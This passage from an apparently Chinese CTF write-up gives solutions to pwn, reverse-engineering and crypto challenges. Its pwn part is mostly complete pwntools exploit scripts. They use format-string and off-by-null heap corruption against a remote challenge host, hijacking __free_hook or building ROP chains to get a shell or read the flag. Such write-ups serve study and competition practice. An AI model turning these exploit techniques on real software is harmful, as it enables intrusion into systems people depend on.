elf=ELF(elfelf) context.arch=elf.arch gdb_text=''' b printf ''' if len(sys.argv)==1 : clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6') io=process(elfelf) gdb_open=1 # io=process(['./'],env={'LD_PRELOAD':'./'}) clibc.srand(0) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247] else : clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6') io=remote('47.108.165.60',47183) gdb_open=0 clibc.srand(0) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247] def gdb_attach(io,a): if gdb_open==1 : gdb.attach(io,a) io.recvuntil('elcome to a ctype game!\n') io.send('\x00'*0x20) for i in range(21): io.recvuntil(': \n') io.sendline(str((clibc.rand() ^ 0x24) + 1)) io.recv() io.send('%31$p') io.recvuntil('0x') libc_base=int(io.recv(12),16)-libc.sym['__libc_start_main']-128 libc.address=libc_base bin_sh_addr=libc.search('/bin/sh\x00').next() system_addr=libc.sym['system'] free_hook_addr=libc.sym['__free_hook'] pop_rax_ret=libc.search(asm('pop rax;ret')).next() pop_rdi_ret=libc.search(asm('pop rdi;ret')).next() pop_rsi_ret=libc.search(asm('pop rsi;ret')).next() pop_rdx_ret=libc.search(asm('pop rdx;ret')).next() syscall_ret=libc.search(asm('syscall;ret')).next() io.send('%15$p\x00') io.recvuntil('0x') stack=int(io.recv(12),16)-0x38-0xe8 io.recv() pay='%'+str(stack&0xffff)+'c%15$hn' io.send(pay+'\x00') def go(a): io.sendafter('input your data ;)\n',a+'\x00') def fmt(addr,value): pay='%'+str(addr&0xffff)+'c%15$hn' go(pay) off_1=(value)&0xff if value==0: go('%45$hhn') else: go('%'+str(off_1)+'c%45$hhn') for i in range(5): pay='%'+str((addr+1+i)&0xff)+'c%15$hhn' go(pay) off_1=(value>>((i+1)*8))&0xff if value==0: go('%45$hhn') else: go('%'+str(off_1)+'c%45$hhn') fmt(stack,pop_rdi_ret) fmt(stack+0x8,bin_sh_addr) fmt(stack+0x10,pop_rsi_ret) fmt(stack+0x18,0) fmt(stack+0x20,pop_rsi_ret+1) fmt(stack+0x28,system_addr) pay='%'+str((stack-0x20)&0xffff)+'c%15$hn' go(pay) gdb_attach(io,gdb_text) go('%'+str(0xae)+'c%45$hhn') success('libc_base:'+hex(libc_base)) success('stack:'+hex(stack)) # success('heap_base:'+hex(heap_base)) io.interactive() # except Exception as e: # io.close() # continue # else: # continue 4.pwnpwn 代码审计 main() sub_C60() 该函数利用4个rand()%10,让我们猜4个数字 add() off by null漏洞 思路 利用time(0)是获取当前时间,我们可以利用这点对rand()的进行碰撞,有概率成功;然后利用off_by_null,实现堆重叠,然后劫持free_hook改为system,释放含有“/bin/sh\x00”便可以getshell exp: from pwn import* from ctypes import * context(arch='i386', os='linux',log_level="debug") context.terminal=["wt.exe","wsl.exe"] libc = ELF("./libc-2.31.so") # libc = ELF("./libc-so.6") libc_run = cdll.LoadLibrary('./libc-so.6') """"" def xxx(): p.sendlineafter("") p.sendlineafter("") p.sendlineafter("") """ def get_p(name): global p,elf # p = process(name) p = remote("47.108.165.60",30770) elf = ELF(name) def add(idx,size,content): p.sendlineafter("root@$",'1') p.sendlineafter("give me your index:",str(idx)) p.sendlineafter("give me your size:",str(size)) p.sendafter("give me your content:",content) def edit(idx,content): p.sendlineafter("root@$",'3') p.sendlineafter("give me your index",str(idx)) p.sendlineafter("give me your index",str(idx)) p.sendafter("give me your content:",content) def dele(idx): p.sendlineafter("root@$",'4') p.sendlineafter("give me your index:",str(idx)) def show(idx): p.sendlineafter("root@$",'2') p.sendlineafter("give me your index:",str(idx)) def login(name,passwd): p.sendlineafter("root@$",'5') p.sendafter("please input your username",name) p.sendafter("please input your passwd",passwd) # p.recvuntil("menu") # libc_run.srand(libc_run.time(0)) # num = (libc_run.rand()%10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10) libc_run.srand(libc_run.time(0)+10) num = (libc_run.rand()%10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10) def pwn(num): p.sendlineafter("please input your number:",str(num)) p.recvline() if not p.recvuntil("you win",timeout=0.1): exit(0) login("AAAAA","AA") add(0,0x440,"AAA") add(1,0x88,"AAA") add(2,0x440,"AAAA") add(3,0x60,"AAA") dele(0) dele(2) add(0,0x450,"AAAA") add(2,0x440,"AAAAAAAA") add(4,0x440,"AAAAAAAA") edit(4,"\x70"*9) login("AAAAA","A"*100) show(4) libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 1008 - 0x10 - libc.sym['__malloc_hook'] free_hook = libc.sym['__free_hook'] print(hex(libc.address)) login("AAAAA\x00","AAA\x00") edit(4,"A"*0xf+"+") login("AAAAA","A"*100) show(4) p.recvuntil("+") heap_addr = u64(p.recv(6).ljust(8,b"\x00")) - 0x290 print(hex(heap_addr)) login("AAAAA\x00","AAA\x00") ptr = heap_addr + 0xc60 - 0x20 target = heap_addr + 0x10c0 - 0x20 edit(0,p64(target)) # for i in range(5): # dele(i) # add(7,0x80,"AAA") # add(8,0x70,"AAAA") # add(9,0x3f0,"AAAA") add(5,0x220,p64(0)+p64(0x441)+p64(ptr-0x18)+p64(ptr-0x10)) add(6,0x218,"AAA") add(7,0x4f0,"AAAA") dele(6) add(6,0x218,b"A"*0x210+p64(0x440)) dele(7) add(7,0x210,"AAAA") add(8,0x60,"AAAAA") dele(3) dele(6) login("AAAAA\x00","AAA\x00") edit(8,p64(free_hook)) add(6,0x60,"/bin/sh\x00") add(3,0x60,p64(libc.sym['system'])) dele(6) # gdb.attach(p,"") while True: try: get_p("./pwnpwn") pwn(num) p.interactive() except: p.close() # get_p("./pwnpwn") # pwn() # p.interactive() 或者脚本: from pwn import * from struct import pack from ctypes import * import hashlib context(os='linux', arch='amd64', log_level='debug') def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(): p.recv() def pr(): print(p.recv()) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) p = remote('47.108.165.60', 26364) elf = ELF("./pwnpwn") libc = ELF('./libc-2.31.so') my_libc= cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') srand = my_libc.srand(my_libc.time(0)) num_4 = my_libc.rand() % 10 num_3 = my_libc.rand() % 10 num_2 = my_libc.rand() % 10 num_1 = my_libc.rand() % 10 num = num_4*1000 + num_3*100 + num_2*10 + num_1 sla("please input your number:",str(num)) menu = 'root@$\n' def add(index, size, content = b'a'): sla(menu, '1') sla('give me your index:\n', str(index)) sla('give me your size:\n', str(size)) sa('give me your content:\n', content) def show(index): sla(menu, '2') sla('give me your index:\n', str(index)) def edit(index, content): sla(menu, '3') sla('give me your index\n', str(index)) sla('give me your index\n', str(index)) sa('give me your content:\n', content) def delete(index): sla(menu, '4') sla('give me your index:\n', str(index)) def login(user, passwd): sla(menu, '5') sla(b'username\n', user) sla(b'passwd\n', passwd) login(b'1', b'1') add(0,0x418, b"A"*0x100) add(1,0x108) #1 barrier add(2,0x438, b"B0"*0x100) add(3,0x438, b"C0"*0x100) add(4,0x108,b'4'*0x100) add(5, 0x488, b"H"*0x100) add(6,0x428, b"D"*0x100) add(7,0x108) delete(0) delete(3) delete(6) delete(2) add(2, 0x458, b'a' * 0x438 + p64(0x551)[:-2]) add(3,0x418) add(6,0x428) add(0,0x418,b"0"*0x100) delete(0) delete(3) add(0, 0x418, b'a' * 8) add(3, 0x418) delete(3) delete(6) add(6,0x500-8, b'6'*0x488 + p64(0x431)) add(3, 0x3b0) delete(4) add(4, 0x108, 0x100*b'4' + p64(0x550)) delete(6) add(6,0x438) login(b'2133', b'2131221') show(4) libc_base = get_addr() - 0x1ecbe0 login(b'a'*8, b'\x01'*0x106) delete(6) add(6, 0x458, 0x438*b'6'+p64(0x111)) delete(7) delete(4) delete(6) add(6, 0x458, 0x438*b'6'+p64(0x111)+p64(libc_base+libc.sym['__free_hook'])) add(7,0x108,b'/bin/sh\x00') add(4,0x108) edit(4, p64(libc_base+libc.sym['system'])) delete(7) inter() 这里随机值一直碰撞不成功,撞了2个小时,只能说没有直接想到,我们可以直接time(0)+10,然后当我们碰撞运行,当时间变成time+10时,大概率就可以碰到,不行就多用几次 5.DE_CAT 代码审计 main() 经典堆题 init_s() 不用看就知道了,要orw edit() 又是off_by_null 思路 先利用large chunk,泄露出来libc和heap的地址,再利用off_by_null,进行unlink,实现堆重叠,然后往environ位置上申请chunk,泄露出来stack地址,然后劫持add()的返回地址,实现控制执行流 exp: from pwn import* context(arch='i386', os='linux',log_level="debug") context.terminal=["wt.exe","wsl.exe"] # libc = ELF("../libc/") libc = ELF("./libc-so.6") """"" def xxx(): p.sendlineafter("") p.sendlineafter("") p.sendlineafter("") """ def get_p(name): global p,elf # p = process(name) p = remote("47.108.165.60",45244) elf = ELF(name) def add(size,content): p.sendlineafter("input your car choice >> ","1") p.sendlineafter("size:",str(size)) p.sendafter("content:",content) def edit(idx,content): p.sendlineafter("input your car choice >> ",'4') p.sendlineafter("idx:",str(idx)) p.sendafter("content:",content) def show(idx): p.sendlineafter("input your car choice >> ",'3') p.sendlineafter("idx:",str(idx)) def dele(idx): p.sendlineafter("input your car choice >> ",'2') p.sendlineafter("idx:",str(idx)) get_p("./CAT_DE") add(0x440,"AAA") add(0x88,"AAA") add(0x440,"AAAA") add(0x88,"AAA") dele(0) dele(2) add(0x450,"AAAA") add(0x440,"AAAAAAAA") add(0x440,"AAAAAAAA") show(4) libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 0x21a000 - 0xe0 envrion = libc.sym['environ'] stdout = libc.sym['_IO_2_1_stdout_'] print(hex(libc.address)) p.recv(2) heap_addr = u64(p.recv(8)) - 0x290 print(hex(heap_addr)) for i in range(7): add(0xf8,"AAA") add(0x108,"AAA") add(0xf0,"AAAA") add(0x88,"AAA") for i in range(7): dele(i+5) target = heap_addr + 0x17c0 ptr = heap_addr + 0xc60 edit(0,p64(target)) payload = p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr - 0x10) payload = payload.ljust(0x100,b"\x00") + p64(0x100) edit(12,payload) dele(13) add(0xe8,"AAAA") add(0xe8,"AAAA") dele(5) dele(6) show(12) p.recvuntil("\xf1") p.recv(7) en_key = u64(p.recv(8)) print("en_key ===> " + hex(en_key)) key = u64(p.recv(8)) print("key ===> " + hex(key)) payload = p64(0)+p64(0xf1)+p64(en_key)+p64(key) payload = payload.ljust(0xf0,b"\x00") + p64(0) + p64(0xf1) + p64((heap_addr+0x10)^en_key) edit(12,payload) add(0xe8,"AAAA") add(0xe8,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(envrion-16)) print(hex(stdout)) add(0xd0,"A"*8) show(7) stack = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 0x140 - 8 print(hex(stack)) edit(6,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(stack)) pop_rdi = 0x000000000002a3e5 + libc.address pop_rsi = 0x000000000002be51 + libc.address pop_rdx_r12 = 0x000000000011f497 + libc.address read_addr = libc.sym['read'] open_addr = libc.sym['open'] write_addr = libc.sym['write'] orw = p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(0) + p64(open_addr) orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(read_addr) orw += p64(pop_rdi) + p64(1) + p64(write_addr) add(0xd0,b"./flag".ljust(8,b"\x00")+orw) # gdb.attach(p,"b *free") p.interactive() 注意也是libc-2.35,利用不了hook。 或者脚本: #coding:utf-8 import sys from pwn import * from ctypes import CDLL context.log_level='debug' elfelf='./CAT_DE' #context.arch='amd64' while True : # try : elf=ELF(elfelf) context.arch=elf.arch gdb_text=''' telescope $rebase(0x202040) 16 b _IO_obstack_xsputn ''' if len(sys.argv)==1 : clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6') io=process(elfelf) gdb_open=1 # io=process(['./'],env={'LD_PRELOAD':'./'}) clibc.srand(clibc.time(0)) libc=ELF('./libc.so.6') # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247] else : clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6') io=remote('47.108.165.60',49429) gdb_open=0 clibc.srand(clibc.time(0)) libc=ELF('./libc.so.6') # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6') one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247] def gdb_attach(io,a): if gdb_open==1 : gdb.attach(io,a) def choice(a): io.sendlineafter(' >> \n',str(a)) def add(a,b): choice(1) io.sendlineafter('size:\n',str(a)) io.sendafter('content:\n',b) def edit(a,b): choice(4) io.sendlineafter(':\n',str(a)) io.sendafter('content:\n',b) def show(a): choice(3) io.sendlineafter(':\n',str(a)) def delete(a): choice(2) io.sendlineafter(':\n',str(a)) add(0x4f8,'aaa') add(0x6f8,'a') add(0x4f8,'aaa') add(0x6f8,'a') delete(0) delete(2) add(0x4f8,'\x00') add(0x4f8,'\x00') show(0) io.recvuntil('context:\n') io.recv(8) heap_base=u64(io.recv(6)+'\x00\x00')&0xfffffffffffff000 show(2) io.recvuntil('context:\n') io.recv(8) libc_base=u64(io.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['_IO_2_1_stdin_']-0x1e0-0x60 libc.address=libc_base bin_sh_addr=libc.search('/bin/sh\x00').next() system_addr=libc.sym['system'] free_hook_addr=libc.sym['__free_hook'] pop_rax_ret=libc.search(asm('pop rax;ret')).next() pop_rdi_ret=libc.search(asm('pop rdi;ret')).next() pop_rsi_ret=libc.search(asm('pop rsi;ret')).next() pop_rdx_ret=libc.search(asm('pop rdx;ret')).next() syscall_ret=libc.search(asm('syscall;ret')).next() gadget=[ 'mov rdx, rbx; mov rdi, r12; call qword ptr [rbp + 0x38];', 'mov rdx, r13; mov rsi, r12; mov rdi, r14; call qword ptr [rbx + 0x38];', 'mov rdx, r13; mov rsi, r10; call qword ptr [rbx + 0x38];', 'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];', 'mov rdx, qword ptr [rbx + 0x40]; mov rdi, rbx; sub rdx, rsi; call qword ptr [rbp + 0x70];' ] gadget_addr=libc.search(asm(gadget[3])).next() delete(3) delete(2) delete(1) delete(0) add(0x508,'aaa') add(0xf0,'aa') add(0xf8,'aa') add(0x4f0,'aaa') add(0xf0,'aa') edit(0,p64(0)+p64(0x701)+p64(heap_base+0x2d0)*2+p64(heap_base+0x2a0)*0x10) edit(2,'\x00'*0xf0+p64(0x700)) delete(3) delete(4) delete(1) add(0x540,'\x00'*0x4f0+p64(0)+p64(0x101)+p64((libc.sym['stderr'])^(heap_base>>12))) add(0xf0,'aa') add(0xf0,p64(heap_base+0x2b0)) from FILE import * context.arch='amd64' IO=IO_FILE_plus_struct() IO._flags=0xfbad2087 IO._lock= heap_base+0x10000 #can read addr IO._IO_save_base=0x21 #size unuse IO._chain=0x21 #size unuse IO.vtable=libc.sym['_IO_file_jumps']-0x240 #libc.sym['_IO_obstack_jumps'] _IO_obstack_xsputn IO_addr=heap_base+0x2b0 SROP_addr=IO_addr+0x200+0x10 obstack_addr=IO_addr+0xf0 flag_name_addr=SROP_addr-0x8 pay=str(IO)[0x10:] #pay+=obstack_addr pay+=p64(obstack_addr) #pading pay+='\x00'*0x8 #obstack struct ''' struct obstack /* control current object in current chunk */ { long chunk_size; /* preferred size to allocate chunks in */ struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */ char *object_base; /* address of object we are building */ char *next_free; /* where to add next char to current object */ char *chunk_limit; /* address of char after current chunk */ union { PTR_INT_TYPE tempint; void *tempptr; } temp; /* Temporary for some macros. */ int alignment_mask; /* Mask of alignment for each object. */ struct _obstack_chunk *(*chunkfun) (void *, long); void (*freefun) (void *, struct _obstack_chunk *); void *extra_arg; /* first arg for chunk alloc/dealloc funcs */ unsigned use_extra_arg : 1; /* chunk alloc/dealloc funcs take extra arg */ unsigned maybe_empty_object : 1; /* There is a possibility that the current unsigned alloc_failed : 1; }; ''' pay+='\x00'*0x38+p64(gadget_addr) pay+=p64(0)+p64(IO_addr+0x180+0x10)+p32(1) pay=pay.ljust(0x180,'\x00') pay+=p64(0)+p64(SROP_addr) pay=pay.ljust(0x1f8,'\x00') srop=SigreturnFrame() srop.rsp=SROP_addr+0x100 srop.rdi=0 srop.rsi=0 srop.rdx=0x30 srop.rip=pop_rax_ret+1 pay+='./flag\x00\x00' pay+=str(srop)[:0x20] pay+=p64(libc.sym['setcontext']+61) pay+=str(srop)[0x28:] pay=pay.ljust(0x300,'\x00') pay+=p64(pop_rax_ret)+p64(3) pay+=p64(syscall_ret) pay+=p64(pop_rdi_ret)+p64(flag_name_addr) pay+=p64(pop_rsi_ret)+p64(0) pay+=p64(pop_rax_ret)+p64(2) pay+=p64(syscall_ret) pay+=p64(pop_rax_ret)+p64(0) pay+=p64(pop_rdi_ret)+p64(0) pay+=p64(pop_rsi_ret)+p64(heap_base) pay+=p64(syscall_ret) pay+=p64(pop_rax_ret)+p64(1) pay+=p64(pop_rdi_ret)+p64(1) pay+=p64(pop_rsi_ret)+p64(heap_base) pay+=p64(syscall_ret) delete(2) delete(3) edit(1,(p64(0xfbad2087)+p64(0)+pay).ljust(0x4f0)+p64(0)+p64(0x101)+p64((heap_base+0xfa0)^(heap_base>>12))) add(0xf0,'aa') add(0xf0,p64(0)+p64(0x300)) success('libc_base:'+hex(libc_base)) success('heap_base:'+hex(heap_base)) gdb_attach(io,gdb_text) io.interactive() # except Exception as e: # io.close() # continue # else: # continue 四、REVERSE 1.ez_cpp patch程序, 输出匹配的密文数量到exitcode。 .text:00413CFA jmp short loc_413D19 .text:00413CFA ; --------------------------------------------------------------------------- .text:00413D19 loc_413D19: ; CODE XREF: .text:00413CFA↑j .text:00413D19 push ecx .text:00413D1A nop .text:00413D1B call ds:__imp_exit 爆破脚本: import string import os import time table = string.ascii_letters+string.digits+'!-{}' # table = string.printable # 'SYC{Y3S-yE5-y0u-S0Ve-Th3-C9P!!!}' theflag = '' while len(theflag) < 32: for ch in table: flag = (theflag+ch).ljust(32, '#') exitcode = os.system(f"echo {flag} | ez_cpp3.exe 1>&0") if exitcode >= len(theflag) + 1: theflag += ch print(theflag, exitcode) break else: print('not found') time.sleep(0.1) 2.3D_Maze dump迷宫地图 m = ['#', ' ', '2', '$', '3', '@', '5'] for level in range(6): print('level', level) for y in range(10): line = '' for x in range(10): n = ida_bytes.get_dword(0x140005040+(level*100+y*10+x)*4) line += m[n] print(line) 手搓 level 0 跳 1-?-0 ## ####### ## #### ## ## # ## ## # ##### ## # *衔接1 wddwwdddddD ## # ##### ## *衔接1 ##4# ##### ###$###### ###*###### w level 5 可以跳回 0-9-3 ###*###### ### ###### ### ###### ### ###### ### ###### ## ###### ## ####### * ####### ddwwdwwwwwW ########## ########## level 1 ########## # ##### # ## *衔接2 dwwwdddsdddddD # ######## * ######## ########## * ##### ########## ########## ########## level 3 可以跳到5-7-0 ##*####### sssssssssS ## ####### ## # #### ## ## ### ## ###### ## ###### ## ## ### ## # #### ## ####### ##*####### level 2 可以跳到4-0-9 *######### wwW ######### *## # ### ## # # # # ## #### ## ### ### ## #### ## ## ## # ## ## ### ### ## ########## level 4 可以跳3-0-2 ######## * 从2过来 ######## # * # assaaaaaaaaA ########## ########## ########## ########## ########## ########## ########## 00000000000111111111111112224444444444443333333333555555555550 wddwwdddddDdwwwdddsdddddDwwWassaaaaaaaaAsssssssssSddwwdwwwwwWw snake: import ctypes from Crypto.Cipher import ARC4 from hashlib import md5 libc = ctypes.CDLL("ucrtbase.dll") libc.srand.argtypes = [ctypes.c_uint] libc.rand.restype = ctypes.c_int srand = libc.srand rand = libc.rand srand(0x94307F97) seed_list = [] for i in range(361): seed_list.append(rand()) def enc(buf, size, seed): srand(seed) keysize = int(rand()*1.0/32767.0 * 256.0) table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\x00' pwd = '' for i in range(keysize): idx = int(rand()*1.0 / 32767.0 * 63.0) pwd += table[idx] cipher = ARC4.ARC4Cipher(pwd.encode()) xorstream = b'\x00'*size xorstream = cipher.encrypt(xorstream) outbuf = bytearray(buf) for i in range(size): outbuf[i] ^= xorstream[i] return bytes(outbuf) foods = [] for i in range(361): srand(seed_list[i]) while 1: y = rand() % 20 x = rand() % 20 if not (x == 0 or x == 19 or y == 0 or y == 19): # print(i, y, x) foods.append((y, x)) break tmp = 0x92 data = b'\x02' for i in range(2): data += bytes([data[-1] ^ 0xBE]) # print(data.hex()) flag_data = data[:] eat_count = 361 # 初始长度就是3, 但是要求吃361个 ??? for i in range(eat_count): y, x = foods[i] pos = y << 8 | x data = enc(data, 3+i, pos) # print(data.hex()) _tmp = tmp # print(hex(tmp-1), hex(data[0]-1)) tmp = ((tmp-1) ^ (data[0]-1)) & 0xFF flag_data = data[:] data = data[::-1] data += bytes([_tmp]) # print(hex(tmp)) s = flag_data.ljust(361, b'\x00').hex().encode() print('flag_data', len(flag_data)) print('SYC{'+md5(s[:722]).hexdigest()+'}') babythread: 断在0x411BDE位置,把输入替换成密文 (DE1C22271DAEAD65ADEF6E414C3475F1165050D448696D93361C863BBBD04C91)。 然后断在memcmp处, 拿到明文flag。 k='!This_program_cannot' def Rc4_Encrypt(m,key): s=[] t=[] out=[] #putput for i in range(256): s.append(i) t.append(key[i%len(key)]) j=0 for i in range(256): j=(j+s[i]+t[i])%256 s[i],s[j]=s[j],s[i] i,j=0,0 for p in range(len(m)): i=(i+1)%256 j=(j+s[i])%256 s[i],s[j]=s[j],s[i] index=(s[i]+s[j])%256 out.append(s[index]^m[p]) print(bytes(out)) rck=[0x01, 0xE5, 0xD5, 0x40, 0xC3, 0xD5, 0x76, 0x36, 0xFE, 0x66, 0x2D, 0x05, 0xC9, 0xFB, 0x50, 0xE7] enc=[0xDE, 0x1C, 0x22, 0x27, 0x1D, 0xAE, 0xAD, 0x65, 0xAD, 0xEF, 0x6E, 0x41, 0x4C, 0x34, 0x75, 0xF1, 0x16, 0x50, 0x50, 0xD4, 0x48, 0x69, 0x6D, 0x93, 0x36, 0x1C, 0x86, 0x3B, 0xBB, 0xD0, 0x4C, 0x91] Rc4_Encrypt(enc,rck) 0129FE14 53 59 43 7B 54 68 31 73 5F 69 73 5F 40 5F 45 61 SYC{Th1s_is_@_Ea 0129FE24 73 59 5F 33 6E 63 72 79 70 74 4F 21 21 21 21 7D sY_3ncryptO!!!!} 3.gowhere from claripy import * from libnum import * tmp_flag = [BVS(f'flag{i}', 8) for i in range(30)] # x_flag = b'111111111122222222223333333333' # tmp_flag = [BVV(x_flag[i], 8) for i in range(30)] flag = Concat(*tmp_flag) unk = 9 def enc1(): global unk unk += 1 if unk & 1 == 0: for i in range(30): tmp_flag[i] = (unk+tmp_flag[i]) ^ 0x17 def enc2(): global unk unk += 1 tmp_flag[0] += 2 tmp_flag[1] -= 28 tmp_flag[2] ^= 0x47 tmp_flag[3] += tmp_flag[4] tmp_flag[5] += 73 tmp_flag[6] += 12 tmp_flag[7] -= tmp_flag[8] tmp_flag[8] ^= 0x5A tmp_flag[9] ^= 0x22 tmp_flag[10] += 20 tmp_flag[12] -= 84 tmp_flag[13] ^= 4 tmp_flag[14] ^= 0x1C tmp_flag[17] -= 1 tmp_flag[27] ^= 0x11 tmp_flag[28] ^= 3 def enc3(): global unk if unk % 3 == 2: v13 = 0 v11 = 29 while v13 < 15: tmp_flag[v13], tmp_flag[v11] = tmp_flag[v11], tmp_flag[v13] v13 += 1 v11 -= 1 unk += 1 solve = Solver() for i in range(4): enc1() enc2() enc3() print(hex(unk)) enc_flag = bytes.fromhex( '4D635D344309A2770ABFC9B3E96F797D7BE899904308BB990E2ED47B27B7') for i in range(30): solve.add(enc_flag[i] == tmp_flag[i]) for k in solve.eval(flag, 2): print(n2s(k)) # b'SYC{I_h0pE_you_cAn_FInd_d4eam}' 4.ezr3 脱壳,调试 魔改UPX,将文件中的HCK改为UPX即可通过 upx -d 脱壳。 之后运行该文件发现报错信息如下,通过 system/bin/linker64 可知该文件为安卓平台下的ELF 可执行文件 之后即可将文件push到手机上并通过安卓真机+IDA调试 分析 main函数开头会修改内存中的数据,调试获取即可 加密过程如下:循环移位、异或、乘法运算 脚本: unsigned int fin[36] = { 0x0003B148, 0x000D2CAE, 0x0003A1FB, 0x00044F40, 0x000472DE, 0x0000CCC0, 0x00001888, 0x00003B80, 0x000702F7, 0x000C745C, 0x000658E0, 0x000858D4, 0x0000D5BD, 0x00004860, 0x0014F410, 0x0002CB9F, 0x000321DB, 0x0014D534, 0x00025DA0, 0x0006898C, 0x00123D56, 0x00058E4D, 0x00050CF8, 0x00005D64, 0x000978BA, 0x0008F290, 0x0003B568, 0x00054696, 0x00094C12, 0x0001021F, 0x000DBACB, 0x00049680, 0x0002FABD, 0x000F2B58, 0x0012D23C, 0x0014AED3 }; unsigned long mul[36] = { 0x0000000000000D21, 0x000000000000009D, 0x000000000000094B, 0x00000000000003C9, 0x0000000000000C3F, 0x00000000000017E9, 0x000000000000130E, 0x0000000000000088,0x0000000000000486, 0x000000000000202F, 0x0000000000002230, 0x00000000000024B4, 0x00000000000008B1, 0x0000000000000A9F, 0x0000000000001AD2, 0x00000000000023EB, 0x0000000000000C7E, 0x000000000000042B, 0x00000000000005BF, 0x000000000000113C,0x0000000000000449, 0x0000000000001751, 0x0000000000000ACE, 0x0000000000001894, 0x000000000000208A, 0x0000000000000E82, 0x00000000000006BD, 0x0000000000000CEE,0x0000000000002386, 0x00000000000013D4, 0x0000000000000111, 0x0000000000000D1C, 0x000000000000238E, 0x0000000000001759, 0x000000000000012B, 0x000000000000214D }; unsigned char flag[40] = { 0 }; unsigned long* a = &mul[18]; for (int i = 0; i < 36; i += 6) { flag[i] = fin[i] / (*(a - 18)); flag[i + 1] = fin[i + 1] / (*(a - 12)); flag[i + 2] = fin[i + 2] / (*(a - 6)); flag[i + 3] = fin[i + 3] / (*(a)); flag[i + 4] = fin[i + 4] / (*(a + 6)); flag[i + 5] = fin[i + 5] / (*(a + 12)); a++; } int j = 0; for (int i = 35; i >= 0; --i) { flag[i] ^= flag[j++]; flag[i] = ((flag[i] >> 4) | (flag[i] << 4)) & 0xff; } printf("%s", flag); 五、CRYPTO 1.signin 关键点是求出data1,data2。通过data3 = ring(data1 / data2) 我们可以使用连分数求解。 脚本1: import gmpy2 from Crypto.Util.number import long_to_bytes #求出data1,data2 data3=1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588 c = continued_fraction(data3) print(c) alist = c.convergents() print(alist) for i in alist: a = str(i).split('/') if len(a) > 1 and gcd(int(a[0]), int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int( a[0]).bit_length() == 256 and int(a[1]).bit_length() == 256: print(a) break #['97093002077798295469816641595207740909547364338742117628537014186754830773717', '67958620138887907577348085925738704755742144710390414146201367031822084270769'] #解密leak得到p-q data1=97093002077798295469816641595207740909547364338742117628537014186754830773717 data2=67958620138887907577348085925738704755742144710390414146201367031822084270769 leak=1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628 e=data1 n=data1*data2 phi = (data1-1) * (data2-1) d = gmpy2.invert(e,phi) p_q = gmpy2.powmod(leak,d,n) print(p_q) #求解p,q p_q=57684649402353527014234479338961992571416462151551812296301705975419997474236 n=2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517 e = 65537 c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837 var("p,q") eq1= p-q ==p_q eq2= p*q ==n sol = solve([eq1,eq2], p, q) print(sol) p = 89050782851818876669770322556796705712770640993210984822169118425068336611139 q = 31366133449465349655535843217834713141354178841659172525867412449648339136903 phi = (q-1) * (p-1) d = gmpy2.invert(e,phi) m = gmpy2.powmod(c,d,n)-data2 print(m) print(long_to_bytes(m)) 脚本2: data3 = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588 c = continued_fraction(data3) alist = c.convergents() for i in alist: a = str(i).split('/') if len(a)>1 and gcd(int(a[0]),int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(a[0]).bit_length()==256 and int(a[1]).bit_length()==256: print(a) break data1 = int(a[0]) data2 = int(a[1]) c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837 n = 2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517 leak = 1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628 tmp = leak % data1 paq = sqrt(tmp**2 + 4*n) phi = n - paq + 1 d = inverse_mod(65537, phi) m = pow(c, d, n) print(int(m - data2).to_bytes(50,'big')) SYC{a00338c150aa3a5163dbf404100e6754} 